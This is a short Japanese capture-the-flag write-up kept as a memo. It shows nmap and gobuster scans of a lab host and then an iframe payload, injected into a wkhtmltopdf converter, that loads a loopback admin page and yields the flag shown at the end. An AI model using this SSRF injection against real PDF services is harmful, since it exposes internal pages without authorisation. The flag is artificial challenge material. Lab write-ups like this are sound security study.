はじめに

備忘録です。

What is the flag?

まずはnmap

$ nmap 10.10.222.148

Starting Nmap 7.60 ( https://nmap.org ) at 2024-08-03 01:21 BST
Nmap scan report for ip-10-10-222-148.eu-west-1.compute.internal (10.10.222.148)
Host is up (0.0014s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 02:F0:D2:3F:BB:8B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.96 seconds

三つ空いているのが確認できる。80ポートと5000ポートを見に行くとテキストを入力してpdfに変換するページが表示された。

gobusterで隠しディレクトリを探す。

$ gobuster dir -u http://10.10.222.148 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.222.148
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/08/03 01:23:51 Starting gobuster
===============================================================
/admin (Status: 403)
===============================================================
2024/08/03 01:23:54 Finished
===============================================================

5000ポートも見てみる。

$ gobuster dir -u http://10.10.222.148:5000 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.222.148:5000
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/08/03 01:27:24 Starting gobuster
===============================================================
/admin (Status: 403)
===============================================================
2024/08/03 01:27:27 Finished
===============================================================

どちらもadminページがあったが権限がなくて閲覧できなかった。

ここで詰まったが、PDFを生成してexiftoolで解析してみる。

$ exiftool document.pdf
ExifTool Version Number         : 10.80
File Name                       : document.pdf
Directory                       : .
File Size                       : 6.6 kB
File Modification Date/Time     : 2024:08:03 01:35:27+01:00
File Access Date/Time           : 2024:08:03 01:35:27+01:00
File Inode Change Date/Time     : 2024:08:03 01:35:27+01:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7
Create Date                     : 2024:08:03 00:25:00Z
Page Count                      : 1

Createrにwkhtmltopdfと書いてあったので調べてみる。

htmlをpdfに変換してくれるプログラムみたい。

ならば、htmlインジェクションが使えそう。
iframe内にループバックアドレスからadminページのリンクをさせると、権限の問題が解決するのでは？？

<iframe src="http://127.0.0.1:5000/admin"></iframe>

ビンゴ！！
ここにフラグもあった。

flag{1f4a2b6ffeaf4707c43885d704eaee4b}